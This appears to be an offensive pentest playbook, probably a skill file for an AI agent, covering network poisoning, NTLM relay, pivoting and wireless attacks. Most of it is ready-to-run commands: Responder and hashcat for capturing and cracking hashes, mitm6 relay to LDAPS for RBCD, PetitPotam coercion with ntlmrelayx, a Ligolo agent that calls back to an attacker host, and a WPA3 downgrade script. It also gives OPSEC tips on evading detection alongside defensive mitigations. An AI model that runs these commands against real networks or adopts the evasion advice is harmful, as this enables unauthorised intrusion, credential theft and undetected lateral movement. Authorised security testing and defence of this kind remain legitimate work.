Network Attack & Lateral Movement

When to Activate

  • Internal network pentest from an unauthenticated wire position or initial foothold
  • Layer-2/3 poisoning to capture credentials (LLMNR/NBT-NS/mDNS, ARP/DHCP, IPv6 mitm6)
  • Coercion + NTLM relay from the network (signing/EPA mapping, CVE-2025-33073 reflection)
  • Pivoting / tunneling across segments (Ligolo-ng, Chisel, SSH, DNS tunneling)
  • Traffic interception / MitM (bettercap, RDP/SSH/STARTTLS downgrade, cookie theft)
  • Network-service exploitation (SMB/RDP/RDL/NEGOEX RCE, MSSQL/WinRM/LDAP abuse)
  • Wireless assessment (WPA2 capture/crack, WPA3-Transition downgrade, evil-twin 802.1X)
  • For AD-specific relay targets (LDAP RBCD/shadow-creds, ADCS ESC8, Kerberos relay) and

ticket/DCSync work, hand off to active-directory-attack.

Quick Start

# 1. OWN THE SEGMENT — passive analyze, then poison + collect hashes
responder -I eth0 -A                                   # analyze (silent) first
responder -I eth0 -wd                                  # poison LLMNR/NBT-NS/mDNS+WPAD
python3 scripts/responder_loot_parser.py --logs /usr/share/responder/logs --outdir loot
hashcat -m 5600 loot/hashes_NTLMv2.txt rockyou.txt -r best64.rule

# 2. IPv6 path (often the fastest DA): mitm6 + relay to LDAPS -> RBCD
sudo bash scripts/mitm6_relay_launcher.sh corp.local eth0 ldaps-rbcd dc01.corp.local

# 3. MAP RELAY SURFACE, then coerce + relay (CVE-2025-33073 reflection candidates)
python3 scripts/relay_target_finder.py 10.0.0.0/24 -o relay_targets.txt --json surface.json
impacket-ntlmrelayx -tf relay_targets.txt -smb2support -socks &
python3 PetitPotam.py -d corp.local -u user -p 'Pass' <RELAY_IP> <TARGET>

# 4. SCOPE SERVICE RCE SURFACE (MadLicense/NEGOEX/RDS/SMB)
python3 scripts/net_service_scan.py 10.0.0.0/24 --json services.json

# 5. PIVOT deeper (TUN, no proxychains)
bash scripts/pivot_autoroute.sh ligolo 0.0.0.0 11601
#   agent on target: ./agent -connect <ATTACKER>:11601 -ignore-cert -retry ; then 'autoroute'

# 6. WIRELESS entry (note PSK+SAE+MFP-off = WPA3 downgrade-vulnerable)
sudo bash scripts/wifi_attack.sh mon-up wlan0 && sudo bash scripts/wifi_attack.sh scan wlan0mon
sudo bash scripts/wifi_attack.sh wpa3dg wlan0 wlan1mon "CorpWiFi" 6

OPSEC & Detection (summary)

Technique Telemetry / IOC Detection (Sigma / EDR) OPSEC note
LLMNR/NBT-NS/mDNS poison one host answers many names; 4624/4625 type-3 burst to a workstation Sigma name-resolution-poisoning; disable LLMNR/NBT-NS via GPO -A is silent; full mode answers everything — scope tight
mitm6 IPv6 takeover rogue DHCPv6 (UDP 547); endpoint IPv6 DNS change; 4741 computer add Zeek rogue-DHCPv6 rule; RA-Guard/DHCPv6-Guard very loud (whole VLAN); set MachineAccountQuota=0; delete created acct/RBCD
ARP/DNS spoof MitM dup-MAC, gateway MAC change, rogue DNS answers DAI, arpwatch, DNS-source allowlist half-duplex cuts ARP volume; restore tables on exit; HSTS breaks sslstrip
Coercion + relay EFSR/RPRN/DFSNM RPC; SMB→service from odd host RPC Filter logs; signing:False target enumeration coercion is "by-design"; needs signing/EPA off; SMB signing kills it
NTLM reflection (CVE-2025-33073) 4624/4648 NTLM logon to self; new AD DNS A record + coercion Sigma self-NTLM-logon; marshalled-DNS detect (Jun-2025 patch) needs signing:False; delete crafted DNS record; patch+signing both fix
Ligolo/Chisel/SSH pivot long-lived single TLS to ext IP; reverse listeners on pivot NDR JA3/JA4 on Go TLS; beacon/-retry; binary on disk run proxy on 443 to blend; rename agent; no admin needed on target
DNS tunneling high-volume long random subdomains; high TXT/NULL ratio NDR DNS-tunnel entropy/length analytics throttle/jitter; A/CNAME over TXT; exfil small data only
Service RCE (MadLicense/NEGOEX/EternalBlue) service crash/restart (SCM 7031); scanner fan-out 445/3389/1688 crash telemetry; patch level; NSE smb-vuln memory-corruption = DoS risk; never spray wormable; lab-validate, sign-off
WPA2/PMKID capture deauth mgmt flood (handshake); PMKID passive WIDS deauth alerts; 802.11w/MFP blocks deauth prefer passive PMKID; short targeted deauth bursts
WPA3-Transition downgrade 2nd BSSID for SSID; PSK+SAE+MFP-off advertised WIPS rogue-AP; Transition-Disable bit rogue AP beacons continuously — minimize on-air; WPA3-only+MFP defeats
Evil-twin 802.1X rogue BSSID; RADIUS server-cert mismatch WIPS; client server-cert validation relies on supplicants not validating cert; EAP-TLS defeats
